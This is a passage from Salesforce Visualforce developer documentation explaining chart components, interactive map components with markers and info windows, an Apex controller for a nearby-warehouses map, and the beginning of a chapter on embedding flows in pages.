to specify the colors to be used for every data series in a chart. Set colorSet
on a data series component to specify colors for that series only.
A colorSet
is a string that is a comma-delimited list of HTML-style hexadecimal color definitions. For example, colorSet= "#0A224E,#BF381A,#A0D8F1,#E9AF32,#E07628"
. Colors are used in sequence. When the end of the list is reached, the sequence starts over at the beginning.
231
Visualforce Charting
Here’s a pie chart that uses a custom color scheme for the pie wedge colors:
Chart Layout and Annotation
<apex:pageBlockSection title= "Simple colorSet Demo" >
<apex:chart data= "{!pieData}" height= "300" width= "400" background= "#F5F5F5" >
<apex:legend position= "left" />
<apex:pieSeries labelField= "name" dataField= "data1" colorSet= "#37241E,#94B3C8,#4D4E24,#BD8025,#816A4A,#F0E68C" />
</apex:chart >
</apex:pageBlockSection >
Use the background
attribute to set a background color for the entire chart.
You can use a colorSet
with all data series components except
<apex:radarSeries >
. Additional colorSet
details and further options for configuring colors of other chart elements are described for specific data series components.
Chart Layout and Annotation
To make your chart more understandable, add a legend, meaningful axes ranges and labels, and tips or labels on data elements.
By default all charts have a legend. To suppress the default legend, set
<apex:chart legend= "false" >
. To control the placement of the legend and the spacing of legend entries, add an
<apex:legend >
component to the chart. Place the legend on any of the four edges of a chart using the position
attribute. Use the font
attribute to control the text style used in the legend.
The font
attribute is a string specifying a CSS-style shorthand font property . For example,
<apex:legend position= "left"
font="bold 24px Helvetica"/>
.
Appropriate axis scaling and labeling can mean the difference between a chart that is illegible or misleading and one that is clear and persuasive. By default, an
<apex:axis type= "Numeric" >
component sets the scale automatically based on the data fields set in the fields
attribute. Automatic scaling ensures that all data fits on the chart but the chart might not begin or end with meaningful numbers. Use the minimum
and maximum
attributes to override the automatic scaling. To set the interval for tick marks, use the steps
attribute. This attribute is an integer that specifies the number of steps between the two ends of the axis. Use the dashSize
, grid
, and gridFill
attributes to add lines or shading to the chart to make it easier to compare measurements to the scale.
You can apply chart labels to axes and data series. When
<apex:chartLabel >
is a child of
<apex:axis >
, the labels are drawn on the outside of the axis. When
<apex:chartLabel >
is a child of a data series component, the labels are drawn on or near the data elements on the chart. Use the field
attribute to set the text for the label. Use the display
attribute to set where the label is drawn. Use the orientation
and rotate
attributes to adjust the text of the label so that it fits on the chart.
Note:
The orientation
attribute has no effect when a
<apex:chartLabel >
component is used with a
<apex:pieSeries >
component.
This sample chart uses many of these components and attributes to create a meaningful visual design:
232
Visualforce Charting Bar Charts
<apex:chart data= "{!data}" height= "400" width= "500" >
<apex:legend position= "left" font= "bold 14px Helvetica" />
<apex:axis type= "Numeric" position= "left" title= "Closed Won" grid= "true" fields= "data1,data2,data3" minimum= "0" maximum= "225" steps= "8" dashSize= "2" >
<apex:chartLabel />
</apex:axis >
<apex:axis type= "Category" position= "bottom" fields= "name" title= "2012" >
<apex:chartLabel rotate= "315" />
</apex:axis >
<apex:barSeries orientation= "vertical" axis= "left" xField= "name" yField= "data1,data2,data3" stacked= "true" />
</apex:chart >
Bar Charts
Bar charts are one of several linear data series charts available in Visualforce. Linear series charts are charts plotted against a standard rectangular grid.
Each data element in a linear series is described by an
X,Y
coordinate. The data series defines how to draw the coordinate on the grid.
The
<apex:barSeries >
charts draw bars stretching between an origin axis and the
X,Y
coordinates. The orientation attribute determines whether the origin axis is the left axis (Y) or the bottom axis (X). Set
<apex:barSeries orientation= "horizontal" >
for bars that originate on the left side of the chart, and
<apex:barSeries orientation= "vertical" >
for a column chart with bars that rise from the bottom of the chart.
To plot multiple data points for each bar interval, group or stack the bars within a single
<apex:barSeries >
tag. Multiple
<apex:barSeries >
tags in a single chart draw on top of each other, obscuring all but the last data series. To create a vertical column chart, add all fields to be grouped or stacked to the yField
attribute:
<apex:barSeries orientation= "vertical" axis= "left" xField= "name"
yField="data1,data2,data3"/>
By default, data fields in an
<apex:barSeries >
are grouped on a chart. To stack them on top of each other, set stacked= "true"
.
233
Visualforce Charting Bar Charts
Use the gutter
attribute to adjust spacing between grouped bars. Use the groupGutter
attribute to adjust spacing between groups. Use the xPadding
and yPadding
attributes to adjust the spacing between the chart axes and the bars themselves.
By default, legend titles for stacked or grouped bar charts use the names of fields in the yField
attribute. In the previous example, the default titles are “data1”, “data2”, and “data3”. To give the legend more meaningful titles, use the title
attribute of the
<apex:barSeries >
component. Use commas to separate items. For example, title= "MacDonald,Promas,Worle"
:
<apex:chart data= "{!data}" height= "400" width= "500" >
<apex:legend position= "left" />
<apex:axis type= "Numeric" position= "left" title= "Closed Won" grid= "true" fields= "data1,data2,data3" dashSize= "2" >
<apex:chartLabel/ >
</apex:axis >
<apex:axis type= "Category" position= "bottom" fields= "name" title= "Stacked Bars" >
<apex:chartLabel rotate= "315" />
</apex:axis >
<apex:barSeries orientation= "vertical" axis= "left" stacked= "true"
234
Visualforce Charting Other Linear Series Charts xField= "name" yField= "data1,data2,data3" title= "MacDonald,Promas,Worle" />
</apex:chart >
SEE ALSO:
Other Linear Series Charts
Other linear data series charts include
<apex:areaSeries >
,
<apex:lineSeries >
, and
<apex:scatterSeries >
.
You can combine linear data series charts on the same graph, but to create meaningful charts, keep the following in mind:
•
Data series charts draw on top of each other in the order you define them in Visualforce markup.
•
Define
<apex:barSeries >
charts first because they usually need to be in the background because they can’t be transparent.
The
<apex:areaSeries >
components are similar to stacked bar charts, except that the chart is drawn as shaded areas defined by a line connecting the points of the series instead of as individual bars. To combine
<apex:areaSeries >
with other data series, use the opacity
attribute to make the area chart partially transparent. The opacity
attribute is a floating point number between
0.0 and 1.0, with 0.0 being fully transparent and 1.0 being fully opaque. Here’s an area series combined with a bar series:
<apex:chart height= "400" width= "700" animate= "true" data= "{!data}" >
<apex:legend position= "left" />
<apex:axis type= "Numeric" position= "left" title= "Closed Won" grid= "true" fields= "data1,data2,data3" >
<apex:chartLabel />
</apex:axis >
<apex:axis type= "Numeric" position= "right" fields= "data1" title= "Closed Lost" />
<apex:axis type= "Category" position= "bottom" fields= "name" title= "Month of the Year" >
<apex:chartLabel rotate= "315" />
</apex:axis >
<apex:areaSeries axis= "left" tips= "true" opacity= "0.4" xField= "name" yField= "data1,data2,data3" />
235
Visualforce Charting Other Linear Series Charts
<apex:barSeries orientation= "vertical" axis= "right" xField= "name" yField= "data1" >
<apex:chartLabel display= "insideEnd" field= "data1" color= "#333" />
</apex:barSeries >
</apex:chart >
By default, legend titles for area charts use the names of fields in the yField
attribute. In the previous example, the default titles are
“data1”, “data2”, and “data3”. To give the legend more meaningful titles, use the title
attribute of the
<apex:areaSeries > component. Use commas to separate items. For example, title= "MacDonald,Promas,Worle"
:
<apex:chart height= "400" width= "700" animate= "true" data= "{!data}" >
<apex:legend position= "left" />
<apex:axis type= "Numeric" position= "left" fields= "data1,data2,data3" title= "Closed Won" grid= "true" >
<apex:chartLabel />
</apex:axis >
<apex:axis type= "Category" position= "bottom" fields= "name" title= "2011" >
<apex:chartLabel rotate= "315" />
</apex:axis >
<apex:areaSeries axis= "left" xField= "name" tips= "true" yField= "data1,data2,data3" title= "MacDonald,Picard,Worlex" />
</apex:chart >
Like
<apex:areaSeries >
charts,
<apex:lineSeries >
charts use lines to connect a series of points. You can fill the area under the line. Unlike
<apex:areaSeries >
charts,
<apex:lineSeries > charts don’t stack. When
<apex:lineSeries > charts aren’t filled, you might choose to put several series in the same chart. Line series can display markers for the data points and you can define the color and size of both the markers and the connecting lines. Here’s a chart that combines three line series, one of which is filled:
236
Visualforce Charting Pie Charts
<apex:chart height= "400" width= "700" animate= "true" legend= "true" data= "{!data}" >
<apex:legend position= "left" />
<apex:axis type= "Numeric" position= "left" title= "Volatility" grid= "true" fields= "data1,data2,data3" >
<apex:chartLabel />
</apex:axis >
<apex:axis type= "Category" position= "bottom" title= "Month" grid= "true" fields= "name" >
<apex:chartLabel />
</apex:axis >
<apex:lineSeries axis= "left" xField= "name" yField= "data1" strokeColor= "#0000FF" strokeWidth= "4" />
<apex:lineSeries axis= "left" fill= "true" xField= "name" yField= "data2" markerType= "cross" markerSize= "4" markerFill= "#FF0000" />
<apex:lineSeries axis= "left" xField= "name" yField= "data3" markerType= "circle" markerSize= "4" markerFill= "#8E35EF" >
<apex:chartTips height= "20" width= "120" />
</apex:lineSeries >
</apex:chart >
Note: An
<apex:lineSeries >
component might not fill as expected if a Numeric axis doesn’t increase in order as it moves up and to the right. The solution is to set the axis to type= "Category"
and sort the values manually before passing the data to the chart.
The
<apex:scatterSeries >
charts are like
<apex:lineSeries >
charts without the connecting lines. By varying the marker size, type, and color, it’s easy to plot many scatter series on the same chart.
SEE ALSO:
Pie Charts
The most common customizations to
<apex:pieSeries >
charts is to colors and labels. Use the colorSet
attribute and the
<apex:chartLabel >
component that were demonstrated in previous examples.
237
Visualforce Charting Gauge Charts
To create a ring chart instead of a pie chart, set the donut
attribute. The donut
attribute is an integer between 0 and 100 and represents the percentage of the radius of the hole. Here’s a simple ring chart:
<apex:chart data= "{!pieData}" height= "400" width= "500" background= "#F5F5F5" >
<apex:legend position= "left" />
<apex:pieSeries labelField= "name" dataField= "data1" donut= "50" >
<apex:chartLabel display= "middle" orientation= "vertical" font= "bold 18px Helvetica" />
</apex:pieSeries >
</apex:chart >
SEE ALSO:
Gauge Charts
Gauge charts show a single measurement against a defined axis or scale. Although it charts a single number, you can vary the axis and chart colors to communicate what that number means.
Use the minimum
and maximum
attributes of the
<apex:axis >
tag to define the range of values. Use the colorSet
attribute of the
<apex:gaugeSeries >
tag to indicate whether the current value is good or bad. Here’s a chart that indicates the metric is well within an acceptable range:
238
Visualforce Charting Radar Charts
<apex:chart height= "250" width= "450" animate= "true" data= "{!data}" >
<apex:axis type= "Gauge" position= "gauge" title= "Transaction Load" minimum= "0" maximum= "100" steps= "10" />
<apex:gaugeSeries dataField= "data1" donut= "50" colorSet= "#78c953,#ddd" />
</apex:chart >
Note: Gauge charts don’t support legends or labels.
SEE ALSO:
Radar Charts
Radar charts are like line charts but they use a circular axis instead of a linear grid.
Use the markerType
, markerSize
, and markerFill
attributes to set the style, size, and color of the markers. Use the strokeColor
and strokeWidth
attributes to set the color and thickness of the connecting lines. Optionally, set fill=true to fill the area enclosed by the series, and use opacity
to make it transparent so that other series remain visible. The opacity attribute is a floating point number between 0.0 and 1.0, with 0.0 being fully transparent and 1.0 being fully opaque.
Here’s an example of a radar chart, and the markup that creates it:
239
Visualforce Charting
<apex:chart height= "530" width= "700" legend= "true" data= "{!data}" >
<apex:legend position= "left" />
<apex:axis type= "Radial" position= "radial" >
<apex:chartLabel />
</apex:axis >
<apex:radarSeries xField= "name" yField= "data1" tips= "true" opacity= "0.4" />
<apex:radarSeries xField= "name" yField= "data2" tips= "true" opacity= "0.4" />
<apex:radarSeries xField= "name" yField= "data3" tips= "true" markerType= "cross" strokeWidth= "2" strokeColor= "#f33" opacity= "0.4" />
</apex:chart >
SEE ALSO:
240
Radar Charts
CHAPTER 16 Creating Maps with Visualforce
Maps communicate information more clearly than mere location data. Visualforce mapping components make it simple to create maps that use third-party mapping services. Visualforce maps are interactive, JavaScript-based maps, complete with zooming, panning, and markers based on your Salesforce or other data. Create standalone map pages, maps that you can insert into page layouts, and even mobile maps for Salesforce1.
Visualforce provides a set of related mapping components. The
<apex:map >
component defines the map canvas, including size, type, center point, and initial zoom level. The
<apex:mapMarker >
child component defines the markers to place on the map by address or geolocation (latitude and longitude). You can use the
<apex:mapInfoWindow >
component to add customizable information panels that appear when a marker is clicked or tapped.
Note:
Visualforce mapping components aren’t available in Developer Edition organizations.
Maps that you define in Visualforce markup generate JavaScript code to render onto the page. This JavaScript connects to a mapping service and builds the map by fetching map tiles and placing markers. If your items to be mapped don’t have a latitude and longitude,
Visualforce maps can geocode their addresses. After the map renders, your users can interact with the map by panning and zooming, just like they’re used to with other map sites. The effect is as if you wrote your own custom JavaScript to interact with a third-party mapping service, but without actually needing to write it. You define the map in Visualforce and get the mapping JavaScript for free.
Important: Visualforce mapping components add JavaScript to your page, and use third-party JavaScript code to draw the map.
•
JavaScript added by Visualforce uses industry-standard best practices to avoid conflicts with other JavaScript executing on the same page. If your own JavaScript doesn’t also use best practices, it could conflict with the mapping code.
•
Addresses that need geocoding—that is, locations that don’t include values for latitude and longitude—are sent to a third-party service for geocoding. These addresses aren’t associated with your organization, and no other data is sent other than what you provide in your Visualforce markup. However, if your organization requires strict control of data shared outside of Salesforce, don’t use the geocoding feature of Visualforce maps.
IN THIS SECTION:
A basic map without markers requires only an
<apex:map >
component. This component defines the map’s basic canvas, including its dimensions, location, and initial zoom level.
Adding Location Markers to a Map
You can add markers to a map to represent specific locations using the
<apex:mapMarker >
component. You can include text that displays when a pointer hovers over the marker.
The Visualforce map marker icon is functional but plain. To differentiate markers and add detail or style to your maps, use custom map marker icons.
Adding Info Windows to Markers
Info windows allow you to show extra details on a map. Info windows appear when a user clicks or taps the marker.
241
Creating Maps with Visualforce Creating Basic Maps
Example of Building Map Data in Apex
Construct your location data in Apex to perform a custom query, search for nearby locations, filter or transform results, or when you can’t use the results returned by a Visualforce standard controller.
Creating Basic Maps
A basic map without markers requires only an
<apex:map >
component. This component defines the map’s basic canvas, including its dimensions, location, and initial zoom level.
The center
attribute defines the point around which the map is centered. You can provide center
values in several formats.
•
A string that represents an address. For example, "1 Market Street, San Francisco, CA". The address is geocoded to determine its latitude and longitude.
•
A string that represents a JSON object with latitude
and longitude
attributes that specify location coordinates. For example,
"{latitude: 37.794, longitude: -122.395}".
•
An Apex map object of type
Map< String , Double >
, with latitude
and longitude
keys to specify location coordinates.
If
<apex:map >
doesn’t have child
<apex:mapMarker >
tags, the center
attribute is required.
This simple street map displays the neighborhood around Salesforce’s San Francisco headquarters.
<apex:page >
<h1 >Salesforce in San Francisco </h1 >
<!-- Display the address on a map -->
<apex:map width= "600px" height= "400px" mapType= "roadmap" zoomLevel= "16" center= "One Market Street, San Francisco, CA" >
</apex:map >
</apex:page >
This code produces the following map.
242
Creating Maps with Visualforce Adding Location Markers to a Map
Notice the following in this example.
•
The mapped address has no marker. The
<apex:map >
component doesn’t, by itself, display map markers, even for the center point. To display up to 100 markers, add child
<apex:mapMarker >
components.
•
The map’s center
location value is provided as a street address, not a geolocation. The mapping service looks up the latitude and longitude for the address. This process is called geocoding. You can include up to 10 geocoded addresses to a map, either as center
attributes or as markers added with
<apex:mapMarker >
components.
•
The mapType
value is “roadmap”, a standard street map. Other options are “satellite” and “hybrid”.
Adding Location Markers to a Map
You can add markers to a map to represent specific locations using the
<apex:mapMarker >
component. You can include text that displays when a pointer hovers over the marker.
To place a marker on a map, add an
<apex:mapMarker >
component as a child of the associated
<apex:map >
. You specify the marker’s location with the position
attribute. Optionally, use the title
attribute to display text when the pointer hovers over the marker.
You can add up to 100 markers to a map. Use an
<apex:repeat >
iteration component to add multiple markers from a collection or list.
Note: Visualforce maps can be resource-intensive which can cause memory issues within mobile browsers and the Salesforce1 app. Maps with many markers or large images used as custom markers can further increase memory consumption. If you plan to deploy Visualforce maps in pages that are used in mobile contexts, be sure to test those pages thoroughly.
The position
attribute defines the point on the map to place the marker. You can provide position
values in several formats.
•
A string that represents an address. For example, "1 Market Street, San Francisco, CA". The address is geocoded to determine its latitude and longitude.
•
A string that represents a JSON object with latitude
and longitude
attributes that specify location coordinates. For example,
"{latitude: 37.794, longitude: -122.395}".
243
Creating Maps with Visualforce Adding Location Markers to a Map
•
An Apex map object of type
Map< String , Double >
, with latitude
and longitude
keys to specify location coordinates.
Note:
You can have up to 10 geocoded address lookups per map. Lookups for both the center
attribute of the
<apex:map > component and the position
attribute of the
<apex:mapMarker >
component count against this limit. To display more markers, provide position
values that don’t require geocoding. Locations that exceed the geocoding limit are skipped.
Here’s a page that shows a list of contacts for an account, centered on the account’s address.
<apex:page standardController= "Account" >
<!-- This page must be accessed with an Account Id in the URL. For example: https://<salesforceInstance>/apex/NearbyContacts?id=001D000000JRBet -->
<apex:pageBlock >
<apex:pageBlockSection title= "Contacts For {! Account.Name }" >
<apex:dataList value= "{! Account.Contacts }" var= "contact" >
<apex:outputText value= "{! contact.Name }" />
</apex:dataList >
<apex:map width= "600px" height= "400px" mapType= "roadmap" center= "{!Account.BillingStreet},{!Account.BillingCity},{!Account.BillingState}" >
<apex:repeat value= "{! Account.Contacts }" var= "contact" >
<apex:mapMarker title= "{! contact.Name }" position= "{!contact.MailingStreet},{!contact.MailingCity},{!contact.MailingState}"
/>
</apex:repeat >
</apex:map >
</apex:pageBlockSection >
</apex:pageBlock >
</apex:page >
This code produces the following map.
244
Creating Maps with Visualforce Using Custom Marker Icons
Notice the following in this example.
•
The center
and position
attributes are passed as a Visualforce expression that concatenates address elements to provide an address string that can be geocoded.
•
Because this page uses geocoding for the addresses, it displays only the first nine contacts. The center
attribute of
<apex:map > uses one geocoding lookup as part of the 10 allowed. (In the illustration, the account has only three contacts.)
Using Custom Marker Icons
The Visualforce map marker icon is functional but plain. To differentiate markers and add detail or style to your maps, use custom map marker icons.
To customize a marker’s icon, set the icon
attribute to an absolute or fully qualified URL to the graphic to use. You can reference any image on the Web, for example, if your graphics are distributed in a CDN. You can also use graphics stored in a static resource. If you use images from a static resource, use the URLFOR() function to obtain the image URL. For example:
<apex:mapMarker title= "{! Account.Name }" position= "{!Account.BillingStreet},{!Account.BillingCity},{!Account.BillingState}"
icon="{! URLFOR($Resource.MapMarkers, 'moderntower.png') }" />
Use a common graphics format, such as PNG, GIF, or JPEG. The preferred marker size is 32 × 32 pixels. Other sizes are scaled, which doesn’t always produce ideal results.
Note: Visualforce maps can be resource-intensive which can cause memory issues within mobile browsers and the Salesforce1 app. Maps with many markers or large images used as custom markers can further increase memory consumption. If you plan to deploy Visualforce maps in pages that are used in mobile contexts, be sure to test those pages thoroughly.
This complete page illustrates using a custom marker to indicate an account’s location, and standard markers for the account’s contacts.
<apex:page standardController= "Account" >
<!-- This page must be accessed with an Account Id in the URL. For example: https://<salesforceInstance>/apex/AccountContacts?id=001D000000JRBet -->
245
Creating Maps with Visualforce Using Custom Marker Icons
<apex:pageBlock >
<apex:pageBlockSection title= "Contacts For {! Account.Name }" >
<apex:dataList value= "{! Account.Contacts }" var= "contact" >
<apex:outputText value= "{! contact.Name }" />
</apex:dataList >
<apex:map width= "600px" height= "400px" mapType= "roadmap" center= "{!Account.BillingStreet},{!Account.BillingCity},{!Account.BillingState}" >
<!-- Add a CUSTOM map marker for the account itself -->
<apex:mapMarker title= "{! Account.Name }" position= "{!Account.BillingStreet},{!Account.BillingCity},{!Account.BillingState}" icon= "{! URLFOR($Resource.MapMarkers, 'moderntower.png') }" />
<!-- Add STANDARD markers for the account's contacts -->
<apex:repeat value= "{! Account.Contacts }" var= "ct" >
<apex:mapMarker title= "{! ct.Name }" position= "{! ct.MailingStreet },{! ct.MailingCity },{! ct.MailingState }" >
</apex:mapMarker >
</apex:repeat >
</apex:map >
</apex:pageBlockSection >
</apex:pageBlock >
</apex:page >
This code produces the following map.
246
Creating Maps with Visualforce Adding Info Windows to Markers
To use different icons for markers added inside an iteration like
<apex:repeat >
, use an expression related to the iteration variable to define the URL. One simple way is to use icons named for a lookup field on a record. Another approach is to provide the icon name in a custom formula field.
Here’s the previous
<apex:repeat >
block with a variation that assumes the contact object has a custom field named “ContactType__c” and that each contact type has a correspondingly named icon.
<!-- Add CUSTOM markers for the account's contacts -->
<apex:repeat value= "{! Account.Contacts }" var= "ct" >
<apex:mapMarker title= "{! ct.Name }" position= "{! ct.MailingStreet },{! ct.MailingCity },{! ct.MailingState }"
icon="{! URLFOR($Resource.MapMarkers, ct.ContactType__c + '.png') }">
</apex:mapMarker >
</apex:repeat >
If you use a field to provide a critical part of the icon’s URL make sure that it always provides a usable value. For example, by making it a required field, or by ensuring a formula field provides a sensible default value.
Adding Info Windows to Markers
Info windows allow you to show extra details on a map. Info windows appear when a user clicks or taps the marker.
The map marker title
attribute lets you display a small amount of information when a user hovers over the marker. To display more information or have more control over how it’s formatted, use an info window instead of or in addition to the title
attribute.
For example, you can display complete details for a contact’s address, formatted for optimal display. You can add a clickable telephone link or even display a profile photo for objects that have one.
To add an info window to a map marker, add an
<apex:mapInfoWindow >
component as a child component of the associated
<apex:mapMarker >
. The body of the
<apex:mapInfoWindow >
component is displayed in the info window when users click or tap the marker, and can be Visualforce markup, HTML and CSS, or plain text.
This complete page uses Visualforce markup for the contents of the info window.
<apex:page standardController= "Account" >
<!-- This page must be accessed with an Account Id in the URL. For example: https://<salesforceInstance>/apex/AccountContactsCustomMarker?id=001D000000JRBet
-->
<apex:pageBlock >
<apex:pageBlockSection title= "Contacts For {! Account.Name }" >
<apex:dataList value= "{! Account.Contacts }" var= "contact" >
<apex:outputText value= "{! contact.Name }" />
</apex:dataList >
<apex:map width= "600px" height= "400px" mapType= "roadmap" center= "{!Account.BillingStreet},{!Account.BillingCity},{!Account.BillingState}" >
<!-- Add markers for account contacts -->
<apex:repeat value= "{! Account.Contacts }" var= "ct" >
<apex:mapMarker title= "{! ct.Name }" position= "{! ct.MailingStreet },{! ct.MailingCity },{! ct.MailingState }" >
247
Creating Maps with Visualforce Adding Info Windows to Markers
<!-- Add info window with contact details -->
<apex:mapInfoWindow >
<apex:outputPanel layout= "block" style= "font-weight: bold;" >
<apex:outputText >{! ct.Name } </apex:outputText >
</apex:outputPanel >
<apex:outputPanel layout= "block" >
<apex:outputText >{! ct.MailingStreet } </apex:outputText >
</apex:outputPanel >
<apex:outputPanel layout= "block" >
<apex:outputText >{! ct.MailingCity }, {! ct.MailingState } </apex:outputText >
</apex:outputPanel >
<apex:outputPanel layout= "block" >
<apex:outputLink value= "{! 'tel://' + ct.Phone }" >
<apex:outputText >{! ct.Phone } </apex:outputText >
</apex:outputLink >
</apex:outputPanel >
</apex:mapInfoWindow >
</apex:mapMarker >
</apex:repeat >
</apex:map >
</apex:pageBlockSection >
</apex:pageBlock >
</apex:page >
This code produces the following map.
248
Creating Maps with Visualforce Example of Building Map Data in Apex
By default, only one info window displays at a time. When you click another marker, the first info window closes, and the new info window opens. To display multiple info windows at once, set showOnlyActiveInfoWindow
to false
on the containing
<apex:map >
component.
Note:
Consider carefully the effect of displaying multiple info windows at once, because it can create a cluttered map.
Example of Building Map Data in Apex
Construct your location data in Apex to perform a custom query, search for nearby locations, filter or transform results, or when you can’t use the results returned by a Visualforce standard controller.
Apex code gives you complete control over the results that are returned and used for the map and markers. You can also use Apex to return results that are from outside Salesforce.
This page displays up to 10 warehouses nearest the user’s location.
<apex:page controller= "FindNearbyController" docType= "html-5.0" >
<!-- JavaScript to get the user's current location, and pre-fill the currentPosition form field. -->
<script type= "text/javascript" >
// Get location, fill in search field function setUserLocation() { if (navigator.geolocation) { navigator.geolocation.getCurrentPosition(function(loc){ var latlon = loc.coords.latitude + "," + loc.coords.longitude; var el = document.querySelector( "input.currentPosition" ); el.value = latlon;
});
}
}
// Only set the user location once the page is ready var readyStateCheckInterval = setInterval(function() { if (document.readyState === "interactive" ) { clearInterval(readyStateCheckInterval); setUserLocation();
}
}, 10);
</script >
<apex:pageBlock >
<!-- Form field to send currentPosition in request. You can make it an <apex:inputHidden> field to hide it. -->
<apex:pageBlockSection >
<apex:form >
<apex:outputLabel for= "currentPosition" >Find Nearby </apex:outputLabel >
<apex:input size= "30" html-placeholder= "Attempting to obtain your position..." id= "currentPosition" styleClass= "currentPosition" value= "{!currentPosition}" />
<apex:commandButton action= "{!findNearby}" value= "Go!" />
</apex:form >
</apex:pageBlockSection >
249
Creating Maps with Visualforce Example of Building Map Data in Apex
<!-- Map of the results -->
<apex:pageBlockSection rendered= "{!resultsAvailable}" title= "Locations" >
<apex:map width= "600px" height= "400px" >
<apex:repeat value= "{!locations}" var= "pos" >
<apex:mapMarker position= "{!pos}" />
</apex:repeat >
</apex:map >
</apex:pageBlockSection >
</apex:pageBlock >
</apex:page >
This code produces the following map.
This page has three important sections.
•
The JavaScript block at the beginning illustrates how you can access the browser’s built-in ability to ask for the user’s current location.
This code updates a visible form field. However, you can easily use a hidden form field instead to avoid showing the raw latitude and longitude with its unlikely level of precision.
•
The first
<apex:pageBlockSection >
contains a short form for submitting the user’s location in the POSTBACK request. For illustration purposes it’s visible and requires a click, but that’s not required.
•
In the second
<apex:pageBlockSection >
, the map itself is simple, requiring only five lines of code. All the complexity is in the
{!locations}
expression, which accesses a property in the Apex controller.
250
Creating Maps with Visualforce Example of Building Map Data in Apex
Note the use of the rendered
attribute, which takes the value of the
{!resultsAvailable}
expression. This expression is another Apex property, and using it with the rendered
attribute hides the map section when locations aren’t available to place on the map.
Here’s the Apex controller that supports the previous page.
public with sharing class FindNearbyController { public List<Map< String , Double >> locations { get; private set; } public String currentPosition { get {
} set; if ( String .isBlank(currentPosition)) { currentPosition = '37.77493,-122.419416' ; // San Francisco
} return currentPosition;
} public Boolean resultsAvailable { get { if (locations == Null) { return false ;
} return true ;
}
} public PageReference findNearby() {
String lat, lon;
// FRAGILE: You'll want a better lat/long parsing routine
// Format: "<latitude>,<longitude>" (must have comma, but only one comma)
List< String > latlon = currentPosition.split( ',' ); lat = latlon[0].trim(); lon = latlon[1].trim();
// SOQL query to get the nearest warehouses
String queryString =
'SELECT Id, Name, Location__longitude__s, Location__latitude__s ' +
'FROM Warehouse__c ' +
'WHERE DISTANCE(Location__c, GEOLOCATION(' +lat+ ',' +lon+ '), \'mi\') < 20 ' +
'ORDER BY DISTANCE(Location__c, GEOLOCATION(' +lat+ ',' +lon+ '), \'mi\') ' +
'LIMIT 10' ;
// Run the query
List <Warehouse__c> warehouses = database.Query(queryString); if (0 < warehouses.size()) {
// Convert to locations that can be mapped locations = new List<Map< String , Double >>(); for (Warehouse__c wh : warehouses) { locations.add( new Map< String , Double >{
251
Creating Maps with Visualforce Example of Building Map Data in Apex
'latitude' => wh.Location__latitude__s,
'longitude' => wh.Location__longitude__s
}
);
}
} else {
System.debug( 'No results. Query: ' + queryString);
} return null ;
}
}
Take a few minutes to learn more about this controller and how it works with the Visualforce page.
•
The locations
property is a list of
Map< String , Double >
elements. This list holds the location data in a format that’s directly usable by the
<apex:mapMarker >
component.
•
The currentPosition
property captures the position information that’s submitted from the page’s form. This property also ensures that if the form submission is empty, a valid default value is provided. (A more robust implementation would do more error checking on the form input.)
•
The resultsAvailable
property, noted in the earlier description of the Visualforce markup.
•
The findNearby
action method is called when the Go!
<apex:commandButton >
is pressed. This method does all the work, executing a custom SOQL query and massaging the results into the locations
property format.
If you want to use the title
attribute of
<apex:mapMarker >
to provide additional information (for example, the name of the warehouse), you have several options. If your method is returning sObjects, you can reference the appropriate fields in your Visualforce markup. If you’re creating new objects directly, as we are here, you can create an inner class that combines the location map object with the title string. You then return a collection of the inner class objects to the page.
252
CHAPTER 17 Render Flows with Visualforce
The standard user interface for running a flow can’t be customized by using Visual Workflow. However, once you embed a flow in a
Visualforce page, you can use Apex code and Visualforce markup to configure the flow at run time—such as to pass values between the Visualforce page and the flow or to customize the look and feel of the flow at run time.
A flow is an application, built with Visual Workflow, that collects, updates, edits, and creates Salesforce information.
The following topics demonstrate how to embed and configure flows in a Visualforce page.
IN THIS SECTION:
Embed Flows in Visualforce Pages
To customize a flow’s look and feel or enhance its functionality, embed it in a Visualforce page. If your organization has flows enabled for sites and portals, use the Visualforce page to deliver the flow to your Force.com site, portal, or community.
An Advanced Example of Using <flow:interview>
The
<flow:interview >
component is designed to make it easy to develop complex Visualforce interactions. You can access additional features in your flow by creating a custom controller. With custom controllers, you can build a page with multiple components that can interact with each other. Any flow within your organization can be individually referenced by its own Apex type, and the variables in the flow can be accessed as member variables.
Set Flow Variable Values from a Visualforce Page
After you embed your flow in a Visualforce page, set the initial values of variables, sObject variables, collection variables, and sObject collection variables through the
<apex:param >
component.
Get Flow Variable Values to a Visualforce Page
Flow variable values can be displayed in a Visualforce page. Once you’ve embedded your flow in a Visualforce page, you can use
Visualforce markup to get values for variables or sObject variables. To display values for a collection variable or an sObject collection variable, you can use Visualforce markup to get the individual values contained in the collection.
Control Whether Users Can Pause a Flow from a Visualforce Page
After you embed a flow in a Visualforce page with the
<flow:interview >
component, consider whether you want to let users pause flows from that page. Set the allowShowPause
attribute to false to prevent users from pausing.
Customize How Users Resume Paused Flow Interviews
By default, users can resume their paused interviews from the Paused Interviews component on their home page. If you want to customize how and where users can resume their interviews, use the pausedInterviewId
attribute on the
<flow:interview >
component.
Configure the finishLocation Attribute in a Flow
If finishLocation
isn’t specified, users who click Finish start a new interview and see the first screen of the flow. You can shape what happens when a user clicks Finish on the final screen by using the
URLFOR
function, the
$Page
variable, or a controller.
253
Render Flows with Visualforce Embed Flows in Visualforce Pages
Customize a Flow’s User Interface
After you’ve embedded a flow in a Visualforce page, you can customize what the flow looks like at run time by applying custom styles using CSS. Using a combination of flow attributes and CSS classes, you can customize the individual parts of a flow, such as the button location, button style, background, and the look and feel of the screen labels.
Embed Flows in Visualforce Pages
To customize a flow’s look and feel or enhance its functionality, embed it in a Visualforce page. If your organization has flows enabled for sites and portals, use the Visualforce page to deliver the flow to your Force.com site, portal, or community.
Note: Users can run only flows that have an active version. If the flow you embed doesn't have an active version, users see an error message. If the flow you embed includes a subflow element, the flow that is referenced and called by the subflow element must have an active version.
To add a flow to a Visualforce page, embed it using the
<flow:interview >
component:
1. Find the flow's unique name:
a. From Setup, enter
Flows
in the
Quick Find
box, then select Flows.
b. Click the name of the flow that you want to embed.
2. Define a new Visualforce page or open one that you want to edit.
3. Add the
<flow:interview >
component, somewhere between the
<apex:page >
tags.
4. Set the name
attribute to the unique name of the flow. For example:
<apex:page >
<flow:interview name= "MyUniqueFlowName" />
</apex:page >
Note: If the flow is from a managed package, the name
attribute must be in this format: namespace.flowuniquename
.
5. Restrict which users can run the flow by setting the page security for the Visualforce page that contains it.
To run the flow, external users (such as on a community) need access to the Visualforce page. To run the flow, internal users need access to the Visualforce page and either:
•
The "Run Flows" permission
•
The
